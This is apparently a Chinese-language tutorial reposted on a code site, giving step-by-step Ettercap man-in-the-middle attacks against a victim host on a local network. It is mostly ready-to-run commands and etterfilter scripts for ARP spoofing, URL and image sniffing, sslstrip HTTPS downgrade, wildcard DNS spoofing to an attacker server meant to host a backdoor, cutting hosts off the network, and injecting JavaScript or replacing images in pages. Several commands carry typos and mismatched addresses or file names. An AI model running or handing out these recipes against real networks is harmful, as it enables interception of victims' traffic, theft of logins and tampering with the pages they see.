Ettercap 實施中間人攻擊


中間人攻擊(MITM)該攻擊很早就成為了黑客常用的一種古老的攻擊手段,並且一直到如今還具有極大的擴展空間,MITM攻擊的使用是很廣泛的,曾經猖獗一時的SMB會話劫持、DNS欺騙等技術都是典型的MITM攻擊手段.在黑客技術越來越多的運用於以獲取經濟利益為目標的情況下時,MITM攻擊成為對網銀、網游、網上交易等最有威脅並且最具破壞性的一種攻擊方式.

主機列表 IP地址 網關地址 主機作用
Windows 10 192.168.1.2/24 192.168.1.1 被害主機
Kali Linux 192.168.1.9/24 192.168.1.1 攻擊主機

抓取內網流量

該方法是最常用的一種攻擊方式,主要可以實現對內網主機發起ARP欺騙,從而截取內網主機的流量,但該方法只能截獲未加密的數據流加密后是無法破解的,以下例子將演示流量抓取與分析.

開啟APR欺騙: 首先在kali linux上執行以下命令,開啟ARP欺騙.

root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1// -q

	-i eth0           #指定網卡接口
	-T                #文本模式顯示
	-M                #指定為雙向ARP欺騙
	/192.168.1.2//    #為要攻擊的IP地址
	/192.168.1.1//    #本地的網關地址

截取目標RUL: 上面終端不要關閉,啟用urlsnarf工具指定主機訪問的URL.

root@kali:~# urlsnarf -i eth0 |awk '{print $1 " ---> " $7}'

192.168.1.2 ---> http://www.mkdirs.com
192.168.1.2 ---> http://www.baidu.com/
192.168.1.2 ---> http://www.cnblogs.com/lyshark

截取目標圖片: 當然也可以使用driftnet工具截取指定主機的圖片流.

root@kali:~# driftnet -i eth0

## HTTPS降級嗅探

對SSL流量的嗅探,可以使用sslstrip這個工具,它的原理就是把所有的https流量降級為http流量,相當於一個中間人的角色,它與服務器建立正常的https連接,而與瀏覽器則使用http連接,使用時需要本機開啟流量轉發,將80端口的http流量同時轉發到10000端口上,在10000端口上使用sslstrip來監聽即可:

1.通過命令收集局域網的IP地址信息,和網關等.

root@kali:~# ifcofing       #命令查看當前網關
root@kali:~# netdiscover    #獲取到當前目標IP

2.開啟內核轉發功能保證攻擊過程中被攻擊者不斷網.

root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward

3.使用iptables把80端口的流量轉發到sslstrip監聽的10000端口上.

root@kali:~# iptalbes -t nat -F
root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000
root@kali:~# iptables -t nat -A PREROUTING -p tcp -–destination-port 80 -j REDIRECT –to-ports 10000
root@kali:~# iptables -t nat -L

4.啟用sslstrip並啟動ettercap對目標主機進行arp攻擊.

root@kali:~# sslstrip -l 10000
root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1//

此時當用戶瀏覽的網頁中包含https協議,會被轉化為http協議的請求.但是sslstrip也不是萬能的,假如網頁中沒有https,但是js代碼綁定了跳轉到https的協議請求的事件,那么sslstrip就失效了.如果用戶打開網頁的時候請求就是https,會導致證書認證失敗,網頁一直打不開.

DNS局域網投毒

該配置主要用於實現控制局域網中網絡的訪問,例如可以指定將所有訪問baidu.com的請求轉到訪問192.168.1.9這台主機上,我們可以在這台主機上配合后門,這樣的話所有內網主機都會默認訪問我們的網址,從而實現局域網中網站頁面的重定向.

1.安裝並啟動apache服務程序,后期我們要將頁面跳轉到kali的http服務上.

root@kali:~# echo "hello lyshark" > /var/www/html/index.html
root@kali:~# systemctl restart apache2

2.通過使用netdiscover命令獲取到主機信息,這里主要來確定一下192.168.1.1是網關,而192.168.1.2為被攻擊主機.

root@kali:~# netdiscover

Currently scanning: 192.168.1.0/24   |   Screen View: Unique Hosts
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.1.1     11:72:se:c7:se:af      1      60  TP-LINK TECHNOLOGIES
 192.168.1.2     ac:3s:ca:xf:g1:w8      1      60  Dell Inc.
 192.168.1.9     f2:1e:28:4e:4c:s4      1      60  kali linux.

3.配置跳轉地址,將所有訪問.com,.org的網頁請求,全部跳轉到本機的apache上.

root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.8  netmask 255.255.255.0  broadcast 192.168.1.255    確認自身IP地址

root@kali:~# vim /etc/ettercap/etter.dns 
################################
# microsoft sucks ;)
# redirect it to www.linux.org
#

*.com A 192.168.1.9          #添加跳轉頁面,意思是只要是.com結尾的,跳轉到本機IP
*.org A 192.168.1.9          #添加跳轉頁面,意思是只要是.com結尾的,跳轉到本機IP

microsoft.com      A   107.170.40.56
*.microsoft.com    A   107.170.40.56
www.microsoft.com  PTR 107.170.40.56      # Wildcards in PTR are not allowed

4.開啟轉發,並啟動中間人攻擊,此時被攻擊主機訪問指定規則頁面,都會跳轉到我們的網站上.

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /192.168.1.2// /192.168.1.1// -q
root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /// /192.168.1.1// -q

## 禁止主機上網

1.編寫一個過濾腳本,下面的腳本名為lyshark.txt,內容如下.

root@kali:~# vim lyshark.txt

if (ip.src == '默認網關') {
   kill();
   drop();
   msg("kill all");
}
if (ip.src == '被攻擊主機IP') {
   kill();
   drop();
   msg("kill all");
}

2.編譯成ettercap可以識別的二進制的二進制文件.

root@kali:~#  etterfilter lyshark.txt -o lyshark.ef

3.使用ettercap加載此腳本,欺騙全網段可以使用///代表.

ettercap -i eth0 -T -F lyshark.ef -M arp:remote /192.168.1.2// /192.168.1.1//  // 欺騙指定主機
ettercap -i eth0 -T -F lyshark.ef -M arp:remote /// /192.168.1.1//             // 欺騙全網段

向網頁注入代碼

該功能可以實現向網頁中注入特定的代碼.

1.編寫一個過濾腳本,下面的腳本名為lyshark.txt,內容如下.

# 攔截受害者發送的請求,將報文壓縮方式由gzip降級為不壓縮
if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
           pcre_regex(DATA.data,"(Accept-Encoding:).*([\r\n])","$1 identity$2");
           msg("chage encoding");
    }
}

# 對於服務器響應,向head中注入js
if (ip.proto == TCP && tcp.src == 80) {
    if (search(DATA.data, "<head>")) {
        replace("<head>","<head><script>alert('hello lyshark')</script>");
    }
}

需要注意,這里要對請求頭的Accept-Encoding進行篡改,否則響應默認使用gzip編碼的,這樣我們直接注入明文js是無效的,將編碼方式降級為Identity,服務端會返回明文報文,同時客戶端也不會再對報文進行一次解碼.

2.編譯成ettercap可以識別的二進制的二進制文件.

root@kali:~#  etterfilter lyshark.txt -o lyshark.ef

3.使用ettercap加載此腳本,欺騙全網段可以使用///代表.

ettercap -i eth0 -T -F ig.ef -M ARP:remote -w network.pcap /192.168.1.2// /192.168.1.1//

替換頁面數據

1.以下腳本可實現將頁面中所有img src=相關的圖片全部替換成,指定網址中的圖片.

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.mkdirs.com/lyshark.jpg\" ");
   replace("IMG SRC=", "img src=\"http://www.mkdirs.com/lyshark.jpg\" ");
   msg("Filter Ran.\n");
}

2.編譯這個文件.

etterfilter exe.filter -o exe.ef

3.使用ettercap調用過濾腳本發動ARP攻擊毒化目標主機的ARP緩存

ettercap -Tq -i wlan0 -F exe.ef -M arp:remote /192.168.1.9/  /192.168.1.1/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM